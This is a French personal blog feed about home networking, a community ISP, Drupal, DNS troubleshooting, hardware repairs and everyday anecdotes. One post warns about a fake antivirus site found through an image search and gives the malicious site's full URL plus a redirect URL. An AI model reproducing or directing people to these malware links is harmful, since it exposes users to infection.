Perturbations2012-06-20T10:09:00+02:002012-06-20T10:09:00+02:00johndescstag:jonathan.michalon.eu,2012-06-20:/perturbations.html<p>Demain je vais tirer le câble pour la seconde ligne ADSL. Il y aura des
interruptions de service car j'éteindrai le serveur pour le déplacer,
lui épargner les vibrations et la poussière de béton (et tout ce qui va
avec les travaux).</p>
<p>J'en profiterai pour installer le nouveau routeur et …</p><p>Demain je vais tirer le câble pour la seconde ligne ADSL. Il y aura des
interruptions de service car j'éteindrai le serveur pour le déplacer,
lui épargner les vibrations et la poussière de béton (et tout ce qui va
avec les travaux).</p>
<p>J'en profiterai pour installer le nouveau routeur et modem ADSL qui
gérera les deux lignes ADSL donc je ferai des tests avant (cette
après-midi je pense). Il y aura donc aussi des arrêts de service.</p>
Speedtouch 536 récalcitrant2012-06-18T15:06:00+02:002012-06-18T15:06:00+02:00johndescstag:jonathan.michalon.eu,2012-06-18:/speedtouch-536-recalcitrant.html<p>Je vais être le cobaye de notre association FAI (voir post précédent)
car habitant un duplex je peux récupérer une deuxième ligne ADSL et donc
faire les tests en gardant la première fonctionnelle, ce qui est tout de
même plus simple.</p>
<p>En prévision de cela j'ai demandé autour de moi …</p><p>Je vais être le cobaye de notre association FAI (voir post précédent)
car habitant un duplex je peux récupérer une deuxième ligne ADSL et donc
faire les tests en gardant la première fonctionnelle, ce qui est tout de
même plus simple.</p>
<p>En prévision de cela j'ai demandé autour de moi s'il n'y avait pas
quelqu'un avec un modem ADSL simple sous la main, et on m'a fourni un
Speedtouch 536 d'AOL. Mais je n'avais pas les identifiants pour la
configuration (par web, et par telnet).</p>
<p>Après beaucoup d'efforts, de reset soft, de tentatives de mots de passe
classiques, je me suis rappelé avoir lu en passant sur le wiki de DD-WRT
(car j'ai un routeur permettant de l'installer) une méthode prétendue
plus ou moins universelle de hard reset, qui effacerait donc toute la
mémoire des paramètres. Tout est décrit sur la <a class="reference external" href="http://www.dd-wrt.com/wiki/index.php/Hard_reset_or_30/30/30">page du wiki qui va
bien</a>.</p>
<p>Effectivement cette méthode a fonctionné et les pages web et la
connexion telnet ont fonctionné immédiatement sans mot de passe après la
manipulation. Ouf !</p>
<p>Si ce post pouvait aider d'autres personnes dans un cas désespéré du
même genre, voici donc l'information !</p>
ARN est née !2012-06-17T10:46:00+02:002012-06-17T10:46:00+02:00johndescstag:jonathan.michalon.eu,2012-06-17:/arn-est-nee.html<p>Rien de neuf depuis un moment, et pourtant !</p>
<p>Depuis hier soir je suis co-fondateur d'une association locale futur
fournisseur d'accès à internet. L'idée est de fournir aux personnes
exigeantes un accès à l'internet propre, sans ajouts divers ni omissions
arbitraires.
Si vous êtes de la région vous pourrez normalement bientôt …</p><p>Rien de neuf depuis un moment, et pourtant !</p>
<p>Depuis hier soir je suis co-fondateur d'une association locale futur
fournisseur d'accès à internet. L'idée est de fournir aux personnes
exigeantes un accès à l'internet propre, sans ajouts divers ni omissions
arbitraires.
Si vous êtes de la région vous pourrez normalement bientôt prendre une
connexion (ADSL dans un premier temps) chez nous, et avoir accès à un
internet neutre.</p>
<p>Cette initiative est dans la lignée de l'essaimage FDN, une impulsion
qui vise à développer partout en France des FAI (fournisseurs d'accès à
internet, tel Orange, Free et compagnie) locaux pour un internet neutre,
c'est-à-dire n'apportant aucune modification, bridage, filtrage, flicage
ou autre à l'internet tel qu'il est conçu.</p>
<p>Un site plus détaillé sera placé à l'adresse
<a class="reference external" href="http://arn-fai.net">arn-fai.net</a>.</p>
Dur, dur le master2012-03-31T12:10:00+02:002012-03-31T12:10:00+02:00johndescstag:jonathan.michalon.eu,2012-03-31:/dur-dur-le-master.html<p>Petit calcul de la journée.</p>
<ul class="simple">
<li>On est le 0 avril (ça simplifie le calcul), un samedi.</li>
<li>Le master termine le 11 mai.</li>
<li>Il reste donc 30 + 11 jours soit 41.</li>
<li>On peut déjà soustraire demain dimanche. 40.</li>
<li>Dans les jours qui viennent :<ul>
<li>Il y a une semaine de vacances ;</li>
<li>Le …</li></ul></li></ul><p>Petit calcul de la journée.</p>
<ul class="simple">
<li>On est le 0 avril (ça simplifie le calcul), un samedi.</li>
<li>Le master termine le 11 mai.</li>
<li>Il reste donc 30 + 11 jours soit 41.</li>
<li>On peut déjà soustraire demain dimanche. 40.</li>
<li>Dans les jours qui viennent :<ul>
<li>Il y a une semaine de vacances ;</li>
<li>Le vendredi saint et le lundi de pâques sont fériés ;</li>
<li>Le 1<sup>er</sup> mai et le 8 mai sont un mardi, donc fériés
utilement ;</li>
<li>Il y a 5 semaines donc 5 week-end.</li>
</ul>
</li>
<li>Donc on peut soustraire 5 + 2 + 2 + 10 jours, soit 19 jours.</li>
</ul>
<p>Il reste donc 21 jours réels pour avoir des cours, des interros etc.</p>
<p>C'est pas beau la vie ? Plus que 21 jours (et même parmi ceux-là
certains sont encore vides dans l'emploi du temps) et c'est les vacances
! Les grandes vacances d'été !</p>
Pour changer de l'info : du miamiam2012-03-02T08:36:00+01:002012-03-02T08:36:00+01:00johndescstag:jonathan.michalon.eu,2012-03-02:/pour-changer-de-linfo-du-miamiam.html<p>Ce blog n'a principalement que des billets à propos d'informatique. Pour
varier un peu voici une autre réalisation (plus éphémère) que j'ai
affectuée avec un autre geek… en environ 3h (à deux) !</p>
<p>Un spécimen de la fameuse tarte «
<a class="reference external" href="http://fr.wikipedia.org/wiki/For%C3%AAt_noire_%28g%C3%A2teau%29">Forêt-Noire</a>
» :</p>
<p><img alt="découpe forêt noire" src="/images/schwarzwaelder1.jpg" /><img alt="découpe forêt noire2" src="/images/schwarzwaelder2.jpg" /></p>
<p>Ce blog n'a principalement que des billets à propos d'informatique. Pour
varier un peu voici une autre réalisation (plus éphémère) que j'ai
affectuée avec un autre geek… en environ 3h (à deux) !</p>
<p>Un spécimen de la fameuse tarte «
<a class="reference external" href="http://fr.wikipedia.org/wiki/For%C3%AAt_noire_%28g%C3%A2teau%29">Forêt-Noire</a>
» :</p>
<p><img alt="découpe forêt noire" src="/images/schwarzwaelder1.jpg" /><img alt="découpe forêt noire2" src="/images/schwarzwaelder2.jpg" /></p>
Drupal : duplication de blog2012-02-11T16:15:00+01:002012-02-11T16:15:00+01:00johndescstag:jonathan.michalon.eu,2012-02-11:/drupal-duplication-de-blog.html<p>Depuis un moment je m'amuse à créer ma « page perso »,
jonathan.michalon.eu. Mais mon « blog » qui n'en est pas vraiment un est
créé sur une autre instance de Drupal, dans une autre base de donnée,
affichée par chalmion.homelinux.net (je n'avais pas michalon.eu au
début…).</p>
<p>J'ai voulu …</p><p>Depuis un moment je m'amuse à créer ma « page perso »,
jonathan.michalon.eu. Mais mon « blog » qui n'en est pas vraiment un est
créé sur une autre instance de Drupal, dans une autre base de donnée,
affichée par chalmion.homelinux.net (je n'avais pas michalon.eu au
début…).</p>
<p>J'ai voulu rendre disponible le même contenu sur les deux sites. Mais
comme les deux instances de drupal ont leurs données dans deux bases de
données différentes, c'est pas évident.</p>
<p>À l'aide du fameux module <a class="reference external" href="http://drupal.org/project/views">views</a>,
et grâce à un peu de documentation en ligne (comme <a class="reference external" href="http://arnumeral.fr/articles/drupal/injecter-son-propre-code-sql-dans-views">ce
post</a>),
j'ai finalement dû faire un mini-module qui génère la requête SQL
produisant les données à afficher dans une instance depuis la base de
l'autre.</p>
<p>Le module contient une seule fonction php, un hook, qui est appelé par
views et modifie la requête pour la vue de mon blog.</p>
<div class="highlight"><pre><span></span><span class="cp"><?php</span>
<span class="k">function</span> <span class="nf">getblog_views_pre_execute</span><span class="p">(</span><span class="o">&</span><span class="nv">$view</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">global</span> <span class="nv">$language</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$view</span><span class="o">-></span><span class="na">name</span><span class="o">==</span><span class="s2">"blog"</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$view</span><span class="o">-></span><span class="na">build_info</span><span class="p">[</span><span class="s1">'query'</span><span class="p">]</span><span class="o">=</span><span class="s2">"</span>
<span class="s2"> SELECT node.nid AS nid,</span>
<span class="s2"> node_revisions.body AS node_revisions_body,</span>
<span class="s2"> node.title AS node_title,</span>
<span class="s2"> node.created AS node_created,</span>
<span class="s2"> node_revisions.format AS node_revisions_format</span>
<span class="s2"> FROM drupal6.node node</span>
<span class="s2"> LEFT JOIN drupal6.node_revisions node_revisions</span>
<span class="s2"> ON node.vid = node_revisions.vid</span>
<span class="s2"> WHERE type='blog'</span>
<span class="s2"> AND node.uid='1'</span>
<span class="s2"> AND language='->language'</span>
<span class="s2"> ORDER BY created desc</span>
<span class="s2"> "</span><span class="p">;</span>
<span class="nv">$view</span><span class="o">-></span><span class="na">build_info</span><span class="p">[</span><span class="s1">'count_query'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$view</span><span class="o">-></span><span class="na">build_info</span><span class="p">[</span><span class="s1">'query'</span><span class="p">];</span>
<span class="p">}</span>
<span class="p">}</span>
</pre></div>
<p>La requête est une variante de celle générée par views pour afficher
tout le contenu du site, avec les champs titre, date, corps.</p>
<p>Il a aussi fallu changer l'URL de chaque billet de blog pour pointer sur
l'autre site, puisque les données ne sont pas réellement sur
jonathan.michalon.eu. <em>count_query</em> doit contenir une requête
produisant le nombre d'entrées que la requête principale donnera, pour
le calcul de mise en page (nombre de billets par page).</p>
Alim' trop de bruit ? no problem !2012-02-09T21:01:00+01:002012-02-09T21:01:00+01:00johndescstag:jonathan.michalon.eu,2012-02-09:/alim-trop-de-bruit-no-problem.html<p>Sur mon "nouveau" desktop le ventilateur de l'alimentation faisait
beaucoup de bruit (à mon goût). Mais après quelques menues manipulation,
c'est réglé !</p>
<p>Tout a commencé en
<a class="reference external" href="http://www.overclockers.com/testing-the-supermicro-pws-0065/">googleant</a>
la référence de l'alim. Sur les photos on voit bien que les ventilateurs
sont standards. En fait ce sont des 80×80×25 …</p><p>Sur mon "nouveau" desktop le ventilateur de l'alimentation faisait
beaucoup de bruit (à mon goût). Mais après quelques menues manipulation,
c'est réglé !</p>
<p>Tout a commencé en
<a class="reference external" href="http://www.overclockers.com/testing-the-supermicro-pws-0065/">googleant</a>
la référence de l'alim. Sur les photos on voit bien que les ventilateurs
sont standards. En fait ce sont des 80×80×25 mm, comme souvent les
ventilateurs de coques.</p>
<p>Moi et un collègue avons donc décidé de tenter de le remplacer. Mais les
connecteurs n'étaient pas compatibles. Nous avons soudé le connecteur de
l'ancien ventilateur au nouveau, tout refermé et oh! stupeur, le
ventilateur tourne, certes, mais vraiment très lentement… beaucoup trop
lentement pour être utile.</p>
<p>Les spécifications des deux ventilateurs nous ont appris qu'ils n'ont
pas du tout le même ampérage, et donc, pas la même résistance. Le débit
de courant étant probablement limité en interne sur l'alim, il était
sous-alimenté.</p>
<p>Mon collègue a alors suggéré de brancher le ventilateur de remplacement
à son endroit habituel, à l'extérieur du bloc de l'alim. Ce que nous
avons fait. Mais nous n'étions pas au bout de nos surprises.</p>
<p>En fait c'est une grosse alim de serveur, avec DEUX ventilateurs, le
second devant assurer le refroidissement avant l'intervention d'un
technicien en cas de surchauffe. Et donc sans ventilateur principal,
l'alim crie (bip-bip-bip !), allume un voyant rouge et lance bien le
deuxième ventilateur. Un bouton permet de couper le signal sonore.</p>
<p>Du coup ce matin j'ai un peu étudié l'idée de mettre une résistance sur
la fiche du ventilateur principal. Pour éviter qu'elle ne surchauffe
puis grille il faut apparemment qu'elle soit la plus grosse possible
(logique) mais pour diminuer l'intensité il suffit aussi de mettre une
résistance forte ; nous avons choisi une résistance de 100 Ohms, qui
correspond à une résistance entre les deux ventilateurs que nous avions
utilisés, l'ancien et le nouveau.</p>
<p>Nous avons donc soudé cette résistance (trouvée sur une vieille carte
d'électronique que j'avais gardée pour le cas où) sur l'ancien
connecteur du ventilateur que nous avions coupé. Et cette fois-ci le
tour est joué ! (Presque) plus de bruit, et pas de signal d'alarme.</p>
<p>Tout ça pour un peu de bruit !</p>
Mince, mon uptime !2012-01-21T11:33:00+01:002012-01-21T11:33:00+01:00johndescstag:jonathan.michalon.eu,2012-01-21:/mince-mon-uptime.html<p>Oui, ce serveur avait réussi à atteindre un uptime sympa, un peu plus de
100 jours (date de la dernière mise à jour du noyau Debian). Mais ce
matin, de 11:33:30 à 12:23, il y a eu coupure de courant… donc mon
onduleur n'a pas suffit. Il …</p><p>Oui, ce serveur avait réussi à atteindre un uptime sympa, un peu plus de
100 jours (date de la dernière mise à jour du noyau Debian). Mais ce
matin, de 11:33:30 à 12:23, il y a eu coupure de courant… donc mon
onduleur n'a pas suffit. Il a tenu environ 10 minutes quand même.</p>
<p>N'empêche, c'est long, 50 minutes sans son PC, surtout quand on est
coupé brutalement (à cause de l'écran) en plein travail (oui je
travaillais vraiment !).</p>
<p>Edit: il tournait exactement depuis le 9 octobre 2011 (merci les logs),
soit 104 jours.</p>
Nouveau gâteau2011-10-20T10:25:00+02:002011-10-20T10:25:00+02:00johndescstag:jonathan.michalon.eu,2011-10-20:/nouveau-gateau.html<p>Mercredi dernier, drame :
On m'appelle à la rescousse car le portable n'a plus de réseau ;
bizarre. J'interviens et découvre que le module wifi prétend sans cesse
que la cate wifi est en "deep sleep". Après un rechargement du module,
pareil. Je ne comprends pas trop, alors même sous Linux : dans …</p><p>Mercredi dernier, drame :
On m'appelle à la rescousse car le portable n'a plus de réseau ;
bizarre. J'interviens et découvre que le module wifi prétend sans cesse
que la cate wifi est en "deep sleep". Après un rechargement du module,
pareil. Je ne comprends pas trop, alors même sous Linux : dans le doute,
reboot ! Seulement, le reboot, eh bien il ne se fait pas. Je l'avais
lancé en root depuis la console mais quelque chose le bloque. Je me
résigne donc à faire les touches magiques pour redémarrer ; et là c'est
le drame : plus d'affichage. Comme l'autre fois, à part que là le PC
n'avait pas chauffé ni rien.
J'apprends plus tard que l'écran du portable avait été rabattu, ce
qui, avec les paramètres par défaut de Gnome, met en veille. Ça explique
pour la carte wifi (même si elle aurait quand même dû se réveiller).
Mais pas pour la carte graphique puisque avant le reboot forcé elle
fonctionnait !
En tout état de cause, j'ai osé remettre la carte graphique au four ce
matin, comme la <a class="reference external" href="//jonathan.michalon.eu/un-gateau-a-la-carte-graphique.html">première
fois</a>. Et ça a à nouveau
fonctionné ! Youpi !</p>
Quoi, déjà un an ?!2011-09-05T12:02:00+02:002011-09-05T12:02:00+02:00johndescstag:jonathan.michalon.eu,2011-09-05:/quoi-deja-un-an.html<p>Dans deux jours, donc le 7 septembre, l'installation de ce (mon)
serveur aura un an ! Bon, il est vrai que je n'ai pas immériatement créé
ce site ; il n'en reste pas moins que le système aura un an !
Préparons-nous tous à lui souhaiter un joyeux anniv' ! Vous avez une
idée …</p><p>Dans deux jours, donc le 7 septembre, l'installation de ce (mon)
serveur aura un an ! Bon, il est vrai que je n'ai pas immériatement créé
ce site ; il n'en reste pas moins que le système aura un an !
Préparons-nous tous à lui souhaiter un joyeux anniv' ! Vous avez une
idée de cadeau ?</p>
<p>Déjà un an !</p>
<p>Au fond je me demande bien ce que j'ai fait avec ce serveur… pas tant
que ça en fin de compte. C'est bien dommage d'avoir les moyens matériels
et de ne rien en faire. J'espère que cette année avec mon master réseau
et système embarqué je pourrai en tirer bien plus…</p>
<p>Finalement en réfléchissant un tant soit peu j'arrive quand même à une
bonne liste :</p>
<ul class="simple">
<li>cache APT</li>
<li>tuiles T@H</li>
<li>mumble / murmur</li>
<li>gitosis</li>
<li>mails</li>
<li>apache<ul>
<li>forum</li>
<li>blog</li>
<li>bulles ludo</li>
<li>liste diffusion</li>
<li>galerie photos</li>
</ul>
</li>
<li>jabber + passerelle</li>
<li>mysql</li>
<li>builder Debian</li>
<li>serveur teeworlds</li>
<li>sauvegardes données perso et gestion photos</li>
<li>dnsmasq (cache DNS)</li>
<li>DHCP</li>
<li>home NFS de mes parrents</li>
<li>torrent (iso debian et ubuntu)</li>
<li>serveur d'imprimante</li>
<li>scanner en réseau</li>
<li>photocopies en une touche (avec le scanner + imprimante)</li>
</ul>
<p>Ça valait quand même le coup de s'amuser avec…</p>
DNS en folie !2011-06-01T17:42:00+02:002011-06-01T17:42:00+02:00johndescstag:jonathan.michalon.eu,2011-06-01:/dns-en-folie.html<p>Aujourd'hui c'était la journée des DNS en folie. J'ai tourné autour
depuis ce matin, non-stop (à part miam miam et un petit
<a class="reference external" href="http://www.teeworlds.com/">teeworlds</a> de rien du tout).</p>
<p><strong>Problème</strong> : Je suis passé à Debian (car je ne me retrouve plus dans
ce que devient Ubuntu ces temps-ci) et beacoup de requêtes …</p><p>Aujourd'hui c'était la journée des DNS en folie. J'ai tourné autour
depuis ce matin, non-stop (à part miam miam et un petit
<a class="reference external" href="http://www.teeworlds.com/">teeworlds</a> de rien du tout).</p>
<p><strong>Problème</strong> : Je suis passé à Debian (car je ne me retrouve plus dans
ce que devient Ubuntu ces temps-ci) et beacoup de requêtes DNS mettaient
5 secondes à compléter. J'avais déjà noté le problème sur le serveur
sans m'y attarder mais là pour la navigation c'était juste horrible.</p>
<p>En fait Debian Squeeze a une glibc un tantinet plus récente que Ubuntu
Lucid Lynx qui intègre une optimisation des requêtes DNS en parallèle ;
en effet le système émet des requêtes de type A (IPv4) et AAAA (IPv6) à
chaque fois (y compris sans connectivité IPv6), ce qui ralentit pas mal
et donc ils ont voulu arranger tout cela un peu.</p>
<p>Bref il est dit que, sur un pourcentage infime d'ordinateurs, cela
posera problème car sur les deux requêtes, une seule réponse lui
parvient. Cela serait soi-disant dû au serveur DNS ou un firewall
intercalé bugué.</p>
<p><strong>Solutions</strong> ; j'ai dû passer facilement 5h là-dessus ; forcer le
séquentiel a fini par fonctionner. Cela se fait en mettant</p>
<div class="highlight"><pre><span></span>options single-request
</pre></div>
<p>dans /etc/resolv.conf</p>
<p>Une autre solution est d'utiliser un cache DNS qui lui ne parallélise
pas, et en passant on y gagne en performances. Ce que j'ai fait. J'ai
donc installé dnsmasq sur mon serveur. Il sert de cache DNS, lequel
utilise aussi les données de /etc/hosts et permet de fixer des
associations. Donc tout mon LAN peut résourde directement tous les noms
de machine locales (sans hack du style avahi car je les ai en dur), et
j'ai mis les noms de domaines hébergés chez moi (chalmion.homelinux.net
et <a class="reference external" href="http://www.michalon.eu">www.michalon.eu</a>) directement avec l'IP
du conteneur qui a apache. Donc plus besoin de « sortir » de chez moi
pour les associer à mon IP et les utiliser.</p>
<p>Bon après cela comme j'avais tenté diverses solutions le matin j'ai eu
quelques surprises. J'avais désactivé IPv6 totalement mais sshd ne le
supporte pas et me faisait des erreurs stupide sur le X11Forwarding. Le
temps de trouver la correlation entre les deux (car cela fonctionnait
sur mes autres Debian Squeeze en tous points semblables) m'a gaspillé
une bonne partie de l'après-midi…</p>
<p>Enfin j'ai un cache DNS maintenant, je l'ai déployé partout (conteneurs
virtuels, PCs) et c'est quand même sympa de se dire que j'ai un peu
optimisé mon setup.</p>
<p>Documentation sur les modifications de la glibc :</p>
<p><a class="reference external" href="http://udrepper.livejournal.com/20948.html">chez udrepper</a>, §DNS NSS
improvement</p>
<p>Bug chez Ubuntu :</p>
<p><a class="reference external" href="https://bugs.launchpad.net/ubuntu/+source/eglibc/+bug/417757">sur
launchpad</a></p>
/dev ? OSEF !2011-05-27T12:34:00+02:002011-05-27T12:34:00+02:00johndescstag:jonathan.michalon.eu,2011-05-27:/dev-osef.html<p>Tout le monde connait les fichiers UNIX spéciaux placés dans
l'arborescence sous /dev.</p>
<p>Mais que ce passe-t-il quand on les détruit (un peu par erreur…) ? RIEN
! C'est ce que je viens de tester.</p>
<p>En faisant le grand ménage, j'ai supprimé un vieux Debian sid sur
lequel je faisais un <em>chroot …</em></p><p>Tout le monde connait les fichiers UNIX spéciaux placés dans
l'arborescence sous /dev.</p>
<p>Mais que ce passe-t-il quand on les détruit (un peu par erreur…) ? RIEN
! C'est ce que je viens de tester.</p>
<p>En faisant le grand ménage, j'ai supprimé un vieux Debian sid sur
lequel je faisais un <em>chroot</em> pour créer mes paquets Debian avant
d'utiliser le serveur. J'ai un joli petit script qui m'y place et fait
le <em>binding</em> de /dev de l'hôte sur /dev du chroot. Donc j'ai utilisé une
dernière fois ce script pour voir si je n'avais rien à récupérer avant
le grand <em>rm -rf</em> qui s'impose.
Vous aurez tous deviné que ce <em>rm</em>, grâce au <em>bind</em>, a atteint tout le
/dev du système hôte… oups !
J'ai eu quelques problèmes du style pas de /dev/null pour les scripts
(dont la complétion automatique) et pas de /dev/urandom pour
l'encryption pgp, mais rien de bien méchant.
Pour réparer cela j'ai fait un petit <em>MAKEDEV generic</em> mais il m'a
créé toute la panoplie, dont le plus impressionnant est sans aucun doute
la série de blocs disque dur sd[a-p][1-15]. Cela ne crée cependant pas
les liens comme cdrom -> sr0 etc.
J'ai donc redémarré, et oh ! surprise : comme si de rien n'était.
Liens, sd* et tout le reste étaient rentrés dans l'ordre. Pour en avoir
le cœur net, j'ai redémarré sur mon autre système, supprimé complètement
le /dev de l'autre système et toujours pas de soucis.
En fait (on le voit avec les montages), /dev est entièrement en ram,
dans un devtmpfs. Donc on peut faire l'imbécile autant qu'on veut ça ne
survit pas à un redémarrage.</p>
<p>Bref, /dev sur le système de fichier ça ne sert apparemment plus à rien.</p>
MSDNAA2011-05-02T12:13:00+02:002011-05-02T12:13:00+02:00johndescstag:jonathan.michalon.eu,2011-05-02:/msdnaa.html<p>Dernière présentation de projets ce matin, il ne reste que les exams
avant les vraies vacances !</p>
<p>Je me suis attelé à quelque chose d'étonnant pour qui me connait : avoir
Windows 7 ! Mais j'ai des excuses : on a droit en tant qu'étudiant de
l'UDS à des licences Microsoft, telles <em>Access, Visual …</em></p><p>Dernière présentation de projets ce matin, il ne reste que les exams
avant les vraies vacances !</p>
<p>Je me suis attelé à quelque chose d'étonnant pour qui me connait : avoir
Windows 7 ! Mais j'ai des excuses : on a droit en tant qu'étudiant de
l'UDS à des licences Microsoft, telles <em>Access, Visual Studio</em>, … à
condition de les utiliser à but pédagogique. Donc je me suis dit
qu'avoir un petit Win7 sous la main, vu que pour une fois il est --
légalement -- gratuit, pourquoi pas. Il faut en profiter.</p>
<p>Le site est plutôt mal foutu, comme bien on se doute mais j'ai fini par
avoir la clé de mon win7 et un lien de téléchargement. Mais :</p>
<p>D'abord évidemment on ne télécharge directement qu'un .exe sympatique
: Downloader_for_Windows_7_Pro_RTM_x86_fr.exe ! Il faut donc
utiliser wine… Suspense : le Downloader fonctionne sous wine !
Après ils prétendent avoir besoin de 16Go de place pour le
téléchargement, ce que je n'ai pas sur mon 80Go partitionné en … hum,
beaucoup. Je fais donc un sshfs du dossier C:\Temp indiqué vers mon
serveur. Et là après deux tentatives (enfin j'ai juste relancé le .exe
quand au bout de 10 minutes il n'avait pas dépassé un truc comme
"Initilizing connection"), le téléchargement commence. Youpi, ouf c'est
pas trop dur finalement.</p>
<p>Sauf qu'au bout d'un moment je vois le téléchargement s'interrompre et
trouve cela :</p>
<p><img alt="capture écran" src="/images/msdnaa.png" /></p>
<p>Mouais… quoi de plus explicite ?</p>
<p>Pour voir où ça en était je fais un petit du sur le dossier .wine et
trouve une somme plus grande que la taille du fichier annoncée, 2.2 Go,
d'où je m'étonne un peu. En fait en regardant le détail, il télécharge
tout dans un dossier temporaire avant de le mettre dans le final. Bref,
tout en double dont une copie dans mon home où il n'y a pas trop trop de
place.</p>
<div class="highlight"><pre><span></span>2255724 .wine/drive_c/users/john/Local Settings/Temporary Internet Files/Content.IE5/OPMR3L15
88 .wine/drive_c/users/john/Local Settings/Temporary Internet Files/Content.IE5/SXZ465XR
12 .wine/drive_c/users/john/Local Settings/Temporary Internet Files/Content.IE5/KI8E015K
80 .wine/drive_c/users/john/Local Settings/Temporary Internet Files/Content.IE5/W5DHAOSC
2256356 .wine/drive_c/users/john/Local Settings/Temporary Internet Files/Content.IE5
2256360 .wine/drive_c/users/john/Local Settings/Temporary Internet Files
4 .wine/drive_c/users/john/Local Settings/Application Data
$ ll .wine/drive_c/users/john/Local\ Settings/Temporary\ Internet\ Files/Content.IE5/OPMR3L15/
total 2255728
-rw-r--r-- 1 john ban 154 2011-05-02 11:23 auth_check[0]
-rw-r--r-- 1 john ban 154 2011-05-02 12:12 auth_check[1]
-rw-r--r-- 1 john ban 3372 2011-05-02 11:24 auth_redirect[0]
-rw-r--r-- 1 john ban 2147483647 2011-05-02 12:09 fr_windows_7_professional_x86_dvd_x15-65810.01[0]
-rw-r--r-- 1 john ban 162333517 2011-05-02 12:12 fr_windows_7_professional_x86_dvd_x15-65810.02[0]
-rw-r--r-- 1 john ban 1191 2011-05-02 11:24 menu_msdnaa[0]
-rw-r--r-- 1 john ban 6359 2011-05-02 11:24 site_eacademy[0]
-rw-r--r-- 1 john ban 43 2011-05-02 11:24 spacer[0]
-rw-r--r-- 1 john ban 43 2011-05-02 12:12 spacer[1]
-rw-r--r-- 1 john ban 3361 2011-05-02 12:12 Temp[0]
</pre></div>
<p>Comme c'est joli !</p>
<p>J'ai donc dû monter tout le .wine en sshfs sur le serveur. Sauf que wine
faisait ouin ouin en disant que son .wine n'était pas à lui et en effet
avec sshfs on garde les propriétaires du serveur, donc j'étais pas moi
sur ces fichiers. J'ai découvert -o idmap=user et le tour était joué.</p>
<div class="highlight"><pre><span></span>295724 .wine/drive_c/users/john/Local Settings/Temporary Internet Files/Content.IE5
295056 .wine/drive_c/Temp
</pre></div>
<p>(progression prise après fix)</p>
<p>Après cela, en fait le fichier téléchargé est un obscur
<a class="reference external" href="http://fr.wikipedia.org/wiki/Secure_Download_Cabinet">.sdc</a> qui est
un format maison MSDNAA. Donc il faut encore le décrypter avant d'avoir
son iso. Mais wine et le petit .exe ont fait ça à merveille, ouf ! Soit
dit en passant, au moment où on finit de décrypter on a trois copies du
schmilblick : la temporaire (qui dure ! il ne la supprime pas), la .sdc
et l'iso.</p>
<p>Tremblant, j'essaye le .iso dans VirtualBox et… ça fonctionne ! Un petit
dernier pour la route, le message fourni en quittant l'installeur de
win7 :</p>
<div class="highlight"><pre><span></span>Pour installer Windows, vous devez exécuter l'installation de Windows.
Si vous annulez l'installation,il se peut que votre ordinauteur redémarre.
</pre></div>
<p>Appréciez le "il se peut".</p>
<p>Bref quand j'aurai fait l'installation j'aurai (ou je devrais avoir) un
Win7. Limité à une installation (comment ?!), réservé à la pédagogie (je
me demande comment ils testent ?) et tout nu sans rien dessus mais quand
même.</p>
Linus Torvalds2011-04-13T09:51:00+02:002011-04-13T09:51:00+02:00johndescstag:jonathan.michalon.eu,2011-04-13:/linus-torvalds.html<p>Je voulais une photo de Linus Torvalds pour mon exposé de communication
; je cherche donc dans google images, en sélectionne une pour voir et je
tombe sur ceci :</p>
<p>ATTENTION, ne PAS installer de logiciel depuis ce site, c'est un VIRUS !</p>
<p><a class="reference external" href="http://protectwindowsxpscanvirus.com/index.php?06abQDUxQUDCBTr+qH5k3cepeDkyZCI5fQ4Pd3yvWwkHN5YiES6DftY70F8mjshYGnE=">Site trop
beau</a></p>
<p>ATTENTION CELA INSTALLE UN VIRUS SUR WINDOWS …</p><p>Je voulais une photo de Linus Torvalds pour mon exposé de communication
; je cherche donc dans google images, en sélectionne une pour voir et je
tombe sur ceci :</p>
<p>ATTENTION, ne PAS installer de logiciel depuis ce site, c'est un VIRUS !</p>
<p><a class="reference external" href="http://protectwindowsxpscanvirus.com/index.php?06abQDUxQUDCBTr+qH5k3cepeDkyZCI5fQ4Pd3yvWwkHN5YiES6DftY70F8mjshYGnE=">Site trop
beau</a></p>
<p>ATTENTION CELA INSTALLE UN VIRUS SUR WINDOWS ! Mais c'est vraiment trop
trop beau depuis un Linux (ou un mac) et totalement inoffensif.</p>
<p>Edit :</p>
<p>Apparemment c'est pas si mal fait ; l'URL que j'ai donné ce matin est
maintenant évidemment taguée comme malveillante dans firefox, mais ils
changent le truc tout pourri au bout. Donc il leur suffit de générer des
urls qui fonctionnent directement sur les sites hackés qui redirigent
chez eux. Voici l'url d'où j'ai été redirigé moi mais ça ne durera pas
longtemps, le temps que les admins fixent.</p>
<p><a class="reference external" href="http://www.google.com/imgres?imgurl=http://www.lwpca.net/images/linus.jpg&imgrefurl=http://sunshinesurfing.com.au/diggers-where-does-linus-torvalds-work-now/&usg=__1cKkOrRffJQGl1bBTyXv_mNWtGs=&h=476&w=617&sz=76&hl=fr&start=18&zoom=1&tbnid=1a_S2UfGTVsM6M:&tbnh=105&tbnw=136&ei=coelTciDJIfNtAay-sCaBw&prev=/images%3Fq%3Dlinus%2Btorvalds%26um%3D1%26hl%3Dfr%26client%3Dubuntu%26sa%3DN%26channel%3Dfs%26biw%3D1725%26bih%3D1032%26tbm%3Disch&um=1&itbs=1">URL moins
volatile</a></p>
Un gâteau à la carte graphique - suite2011-03-11T20:19:00+01:002011-03-11T20:19:00+01:00johndescstag:jonathan.michalon.eu,2011-03-11:/un-gateau-a-la-carte-graphique-suite.html<p>Quelques nouvelles le lendemain du jour de la résurrection de ma carte
graphique.</p>
<p>Premièrement une nouvelle victoire : un autre PC (pas le mien) a été
réparé, ce coup-ci avec une carte graphique soudée à la carte mère. Il
faut protéger le reste des composants et chauffer avec un
mini-chalumeau. Une …</p><p>Quelques nouvelles le lendemain du jour de la résurrection de ma carte
graphique.</p>
<p>Premièrement une nouvelle victoire : un autre PC (pas le mien) a été
réparé, ce coup-ci avec une carte graphique soudée à la carte mère. Il
faut protéger le reste des composants et chauffer avec un
mini-chalumeau. Une vidéo descriptive qui a servi de guide à la
manipulation se trouve
<a class="reference external" href="http://www.viddler.com/explore/mixcatcom/videos/23/">ici</a>.</p>
<p>J'ai acheté de la pâte thermique et donc pu tester ma carte sans
craintes. Elle semble vraiment comme neuve, aucun problème à déplorer, y
compris la 3D (laquelle semblait pouvoir pâtir de l'opération selon les
fils de discussions que j'avais lus). C'est franchement incroyable.</p>
